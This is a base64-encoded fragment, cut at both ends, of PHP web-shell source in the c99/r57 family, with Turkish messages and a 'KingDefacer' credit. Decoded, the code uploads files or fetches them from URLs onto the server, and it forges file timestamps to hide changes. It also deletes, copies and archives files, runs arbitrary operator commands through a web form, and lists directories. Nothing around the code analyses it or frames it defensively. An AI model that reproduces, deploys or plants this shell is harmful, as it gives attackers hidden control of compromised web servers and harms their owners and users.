WRmaWxlID0gJEhUVFBfUE9TVF9GSUxFU1sidXBsb2FkZmlsZSJdOw0KICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdKSkNCiAgew0KICAgaWYgKGVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVbIm5hbWUiXTt9DQogICBlbHNlIHskZGVzdGluID0gJHVzZXJmaWxlbmFtZTt9DQogICBpZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSwkdXBsb2FkcGF0aC4kZGVzdGluKSkgeyR1cGxvYWRtZXNzIC49ICJIYXRhIFl1a2xlbmVuIERvc3lhICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iO30NCiAgfQ0KICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkNCiAgew0KICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICBlbHNlDQogICB7DQogICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOw0KICAgIGlmIChlbXB0eSgkZGVzdGluKSkNCiAgICB7DQogICAgICRpID0gMDsNCiAgICAgJGIgPSAiIjsNCiAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHtpZiAoJGkgPiAwKSB7JGIgPSAiXyIuJGk7fSAkZGVzdGluID0gImluZGV4Ii4kYi4iLmh0bWwiOyAkaSsrO319DQogICB9DQogICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPllhbmxpcyBVUkwhDQo8L2I+PGJyPiI7fQ0KICAgZWxzZQ0KICAgew0KICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOw0KICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJEb3N5YSBJbmRpcmVsZW1lZGkhPGJyPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgIGlmICgkZmlsZXN0ZWFsdGgpIHskc3RhdCA9IHN0YXQoJHVwbG9hZHBhdGguJGRlc3Rpbik7fQ0KICAgICAkZnAgPSBmb3BlbigkdXBsb2FkcGF0aC4kZGVzdGluLCJ3Iik7DQogICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkhhdGE6IERvc3lheWEgWWF6aWxhbWFkaSA6KCAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgZndyaXRlKCRmcCwkY29udGVudCxzdHJsZW4oJGNvbnRlbnQpKTsNCiAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCR1cGxvYWRwYXRoLiRkZXN0aW4sJHN0YXRbOV0sJHN0YXRbOF0pO30NCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBpZiAoJG1pbmlmb3JtKQ0KIHsNCiAgZWNobyAiPGI+Ii4kdXBsb2FkbWVzcy4iPC9iPiI7DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlDQogew0KICBlY2hvICI8Yj5GaWxlIHVwbG9hZDo8L2I+PGJyPjxiPiIuJHVwbG9hZG1lc3MuIjwvYj48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuImFjdD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPg0KU2VsZWN0IGZpbGUgb24geW91ciBsb2NhbCBjb21wdXRlcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRmaWxlXCIgdHlwZT1cImZpbGVcIj48YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7b3I8YnI+DQpJbnB1dCBVUkw6IDxpbnB1dCBuYW1lPVwidXBsb2FkdXJsXCIgdHlwZT1cInRleHRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdXBsb2FkdXJsKS4iXCIgc2l6ZT1cIjcwXCI+PGJyPjxicj4NClNhdmUgdGhpcyBmaWxlIGRpcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj4NCkZpbGUtbmFtZSAoYXV0by1maWxsKTogPGlucHV0IG5hbWU9dXBsb2FkZmlsZW5hbWUgc2l6ZT0yNT48YnI+PGJyPg0KPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11cGxvYWRhdXRvbmFtZSB2YWx1ZT0xIGlkPWRmND4mbmJzcDtjb252ZXJ0IGZpbGUgbmFtZSB0byBsb3ZlcmNhc2U8YnI+PGJyPg0KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkKFl1a2xlKVwiPg0KPC9mb3JtPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImRlbGV0ZSIpDQp7DQogJGRlbGVyciA9ICIiOw0KIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpDQogew0KICAkcmVzdWx0ID0gZmFsc2U7DQogICRyZXN1bHQgPSBmc19ybW9iaigkdik7DQogIGlmICghJHJlc3VsdCkgeyRkZWxlcnIgLj0gIlNpbGluZW1lZGkhICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30NCiB9DQogaWYgKCFlbXB0eSgkZGVsZXJyKSkge2VjaG8gIjxiPkhhdGFsYXJpIFNpbChzKTo8L2I+PGJyPiIuJGRlbGVycjt9DQogJGFjdCA9ICJscyI7DQp9DQppZiAoISR1c2Vmc2J1ZmYpDQp7DQogaWYgKCgkYWN0ID09ICJwYXN0ZSIpIG9yICgkYWN0ID09ICJjb3B5Iikgb3IgKCRhY3QgPT0gImN1dCIpIG9yICgkYWN0ID09ICJ1bnNlbGVjdCIpKSB7ZWNobyAiPGNlbnRlcj48Yj5UYW1wb24gS2FwYWxpIG9sZHVodSBpY2luIFlvbGwhISEgXCJcJHVzZUZTYnVmZlwiIERvZ3J1IDspPC9jZW50ZXI+Ijt9DQp9DQplbHNlDQp7DQogaWYgKCRhY3QgPT0gImNvcHkiKSB7JGVyciA9ICIiOyAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJGFjdGJveCk7IGFzaF9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7IH0NCiBlbHNlaWYgKCRhY3QgPT0gImN1dCIpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImN1dCJdLCRhY3Rib3gpOyBhc2hfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiO30NCiBlbHNlaWYgKCRhY3QgPT0gInVuc2VsZWN0Iikge2ZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fSBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319IGFzaF9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7fQ0KIGlmICgkYWN0ZW1wdHlidWZmKSB7JHNlc3NfZGF0YVsiY29weSJdID0gJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpOyBhc2hfc2Vzc19wdXQoJHNlc3NfZGF0YSk7fQ0KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikNCiB7DQogICRwc3RlcnIgPSAiIjsNCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX2NvcHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJLb3B5YWxhbmFtYWRpISEgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICB9DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX21vdmVfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJZYXBpc3RpcmlsYW1hZGkhISAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICB9DQogIGFzaF9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPllhcGlzdGlybWEgSGF0YXNpIChTKTo8L2I+PGJyPiIuJHBzdGVycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlaWYgKCRhY3RhcmNidWZmKQ0KIHsNCiAgJGFyY2VyciA9ICIiOw0KICBpZiAoc3Vic3RyKCRhY3RhcmNidWZmX3BhdGgsLTcsNykgPT0gIi50YXIuZ3oiKSB7JGV4dCA9ICIudGFyLmd6Ijt9DQogIGVsc2UgeyRleHQgPSAiLnRhci5neiI7fQ0KICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQ0KICAkY21kbGluZSAuPSAiICIuJGFjdGFyY2J1ZmZfcGF0aDsNCiAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pOw0KICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KQ0KICB7DQogICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7DQogICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9DQogICBpZiAoaXNfZGlyKCR2KSkNCiAgIHsNCiAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgJHYgLj0gIioiOw0KICAgfQ0KICAgJGNtZGxpbmUgLj0gIiAiLiR2Ow0KICB9DQogICR0bXAgPSByZWFscGF0aCgiLiIpOw0KICBjaGRpcigkZCk7DQogICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7DQogIGNoZGlyKCR0bXApOw0KICBpZiAoZW1wdHkoJHJldCkpIHskYXJjZXJyIC49ICJBcnNpdiBBcmFuYW1peW9yIChIYXRhOjMpYmV0YSBCeSBLaW5nRGVmYWNlciAoIi5odG1sc3BlY2lhbGNoYXJzKHN0cjJtaW5pKCRjbWRsaW5lLDYwKSkuIikhPGJyPiI7fQ0KICAkcmV0ID0gc3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHJldCk7DQogICRyZXQgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogIGlmICgkY29weV91bnNldCkge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQ0KICB7DQogICBpZiAoaW5fYXJyYXkoJHYsJHJldCkpIHtmc19ybW9iaigkdik7fQ0KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgfQ0KICBhc2hfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogIGlmICghZW1wdHkoJGFyY2VycikpIHtlY2hvICI8Yj5BcnNpdmF0b3IgSGF0YXNpOjwvYj48YnI+Ii4kYXJjZXJyO30NCiAgJGFjdCA9ICJscyI7DQogfQ0KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikNCiB7DQogICRwc3RlcnIgPSAiIjsNCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIktvcHlhbGFuYW1hZGkhISAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9DQogIH0NCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpDQogIHsNCiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgIGlmICghZnNfbW92ZV9vYmooJHYsJGQpKSB7JHBzdGVyciAuPSAiWWFwaXN0aXJpbGFtYWRpISAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICB9DQogIGFzaF9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPllhcGlzdGlybWEgSGF0YXNpOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgJGFjdCA9ICJscyI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImNtZCIpDQp7DQppZiAodHJpbSgkY21kKSA9PSAicHMgLWF1eCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQ0KZWxzZWlmICh0cmltKCRjbWQpID09ICJ0YXNrbGlzdCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQ0KZWxzZQ0Kew0KIEBjaGRpcigkY2hkaXIpOw0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICBlY2hvICI8Yj5VZ3VsYW1hbmluIFNvbnVjbGFyaTwvYj46PGJyPiI7DQogICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOw0KICBAY2hkaXIoJGQpOw0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgaWYgKCRjbWRfdHh0KQ0KICB7DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOw0KICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsNCiAgfQ0KICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgQGNoZGlyKCRvbGRkaXIpOw0KIH0NCiBlbHNlIHtlY2hvICI8Yj5VeWd1bGFtYSBZb25ldCA8L2I+IjsgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gdHJ1ZTt9fQ0KIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jbWQ+PHRleHRhcmVhIG5hbWU9Y21kIGNvbHM9MTIyIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVGFtYW1cIj4mbmJzcDtNZXRuaSBBbGFuIGljaW5kZSBnb3N0ZXImbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkY21kX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsNCn0NCn0NCmlmICgkYWN0ID09ICJscyIpDQp7DQogaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyRsaXN0ID0gJGxzX2Fycjt9DQogZWxzZQ0KIHsNCiAgJGxpc3QgPSBhcnJheSgpOw0KICBpZiAoJGggPSBAb3BlbmRpcigkZCkpDQogIHsNCiAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSB7JGxpc3RbXSA9ICRkLiRvO30NCiAgIGNsb3NlZGlyKCRoKTsNCiAgfQ0KICBlbHNlIHt9DQogfQ0KIGlmIChjb3VudCgkbGlzdCkgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+S2xhc29yIEFjaWxhbWl5b3IuICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiIpITwvYj48L2NlbnRlcj4iO30NCiBlbHNlDQogew0KICAvL0J1aWxkaW5nIGFycmF5DQogICRvYmplY3RzID0gYXJyYXkoKTsNCiAgJHZkID0gImYiOyAvL1ZpZXdpbmcgbW9kZQ0KICBpZiAoJHZkID09ICJmIikNCiAgew0KICAgJG9iamVjdHNbImhlYWQiXSA9IGFycmF5KCk7DQogICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXkoKTsNCiAgICRvYmplY3RzWyJsaW5rcyJdID0gYXJyYXkoKTsNCiAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KQ0KICAgew0KICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICRyb3cgPSBhcnJheSgpOw0KICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkxJTksiO30NCiAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkxJTksiO30NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpDQogICAgew0KICAgICBpZiAoaXNfbGluaygkdikpIHskdHlwZSA9ICJMSU5LIjt9DQogICAgIGVsc2UgeyR0eXBlID0gIkRJUiI7fQ0KICAgICAkcm93W10gPSAkdjsNCiAgICAgJHJvd1tdID0gJHR5cGU7DQogICAgfQ0KICAgIGVsc2VpZihpc19maWxlKCR2KSkgeyRyb3dbXSA9ICR2OyAkcm93W10gPSBmaWxlc2l6ZSgkdik7fQ0KICAgICRyb3dbXSA9IGZpbGVtdGltZSgkdik7DQogICAgaWYgKCEkd2luKQ0KICAgIHsNCiAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkdikpOw0KICAgICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCR2KSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJHYpKTsNCiAgICB9DQogICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsNCiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JG9iamVjdHNbImhlYWQiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyRvYmplY3RzWyJsaW5rcyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JG9iamVjdHNbImZpbGVzIl1bXSA9ICRyb3c7fQ0KICAgICRpKys7DQogICB9DQogICAkcm93ID0gYXJyYXkoKTsNCiAgICRyb3dbXSA9ICI8Yj5Jc2ltPC9iPiI7DQogICAkcm93W10gPSAiPGI+Qm95dXQ8L2I+IjsNCiAgICRyb3dbXSA9ICI8Yj5EZWdpc3Rpcm1lPC9iPiI7DQogICBpZiAoISR3aW4pDQogIHskcm93W10gPSAiPGI+U2FoaXAvR3J1cDwvYj4iO30NCiAgICRyb3dbXSA9ICI8Yj5QZXJtaXNzaW9ucyhZZXRraSk8L2I+IjsNCiAgICRyb3dbXSA9ICI8Yj5Pem5pdGVsaWs8L2I+IjsNCiAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHNvcnQpOw0KICAgJHNvcnQgPSAkcGFyc2Vzb3J0WzBdLiRwYXJzZXNvcnRbMV07DQogICAkayA9ICRwYXJzZXNvcnRbMF07DQogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskcGFyc2Vzb3J0WzFdID0gImQiO30NCiAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOw0KICAgJHkgLj0gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLigkc29ydFsxXSA9PSAiYSI/ImFzYyI6ImRlc2MiKS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iQXNjLiI6IkRlc2MiKS4iXCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgJHJvd1ska10gLj0gJHk7DQogICBmb3IoJGk9MDskaTxjb3VudCgkcm93KS0xOyRpKyspDQogICB7DQogICAgaWYgKCRpICE9ICRrKSB7JHJvd1skaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj4iLiRyb3dbJGldLiI8L2E+Ijt9DQogICB9DQogICAkdiA9ICRwYXJzZXNvcnRbMF07DQogICB1c29ydCgkb2JqZWN0c1siZm9sZGVycyJdLCAidGFic29ydCIpOw0KICAgdXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7DQogICB1c29ydCgkb2JqZWN0c1siZmlsZXMiXSwgInRhYnNvcnQiKTsNCiAgIGlmICgkcGFyc2Vzb3J0WzFdID09ICJkIikNCiAgIHsNCiAgICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZm9sZGVycyJdKTsNCiAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOw0KICAgfQ0KICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOw0KICAgJHRhYiA9IGFycmF5KCk7DQogICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsNCiAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7DQogICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7DQogICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICRpID0gMDsNCiAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKQ0KICAgew0KICAgICR2ID0gJGFbMF07DQogICAgJG8gPSBiYXNlbmFtZSgkdik7DQogICAgJGRpciA9IGRpcm5hbWUoJHYpOw0KICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30NCiAgICBlbHNlIHskZGlzcHBhdGggPSAkbzt9DQogICAgJGRpc3BwYXRoID0gc3RyMm1pbmkoJGRpc3BwYXRoLDYwKTsNCiAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQ0KICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRkaXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fQ0KICAgIGZvcmVhY2ggKCRyZWd4cF9oaWdobGlnaHQgYXMgJHIpDQogICAgew0KICAgICBpZiAoZXJlZygkclswXSwkbykpDQogICAgIHsNCiAgICAgIGlmICgoIWlzX251bWVyaWMoJHJbMV0pKSBvciAoJHJbMV0gPiAzKSkgeyRyWzFdID0gMDsgb2JfY2xlYW4oKTsgZWNobyAiVXlhcmkhIEtvbmZpZ2lyYXN5b24gaT9pbmRlIGhhdGEgXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIEJpbGlubWV5ZW4gS29tdXQuIjsgYXNoc2hleGl0KCk7fQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgICRyWzFdID0gcm91bmQoJHJbMV0pOw0KICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgaWYgKCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFuZCAhJGlzZGlyKSBvciAoKCRyWzFdID09IDIpIGFuZCAhJGlzZGlyKSkNCiAgICAgICB7DQogICAgICAgIGlmIChlbXB0eSgkclsyXSkpIHskclsyXSA9ICI8Yj4iOyAkclszXSA9ICI8L2I+Ijt9DQogICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgaWYgKCRyWzRdKSB7YnJlYWs7fQ0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgICAkdW8gPSB1cmxlbmNvZGUoJG8pOw0KICAgICR1ZCA9IHVybGVuY29kZSgkZGlyKTsNCiAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICRyb3cgPSBhcnJheSgpOw0KICAgIGlmICgkbyA9PSAiLiIpDQogICAgew0KICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOw0KICAgICAkcm93W10gPSAiTElOSyI7DQogICAgfQ0KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikNCiAgICB7DQogICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOw0KICAgICAkcm93W10gPSAiTElOSyI7DQogICAgfQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkNCiAgICB7DQogICAgIGlmIChpc19saW5rKCR2KSkNCiAgICAgew0KICAgICAgJGRpc3BwYXRoIC49ICIgPT4gIi5yZWFkbGluaygkdik7DQogICAgICAkdHlwZSA9ICJMSU5LIjsNCiAgICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4i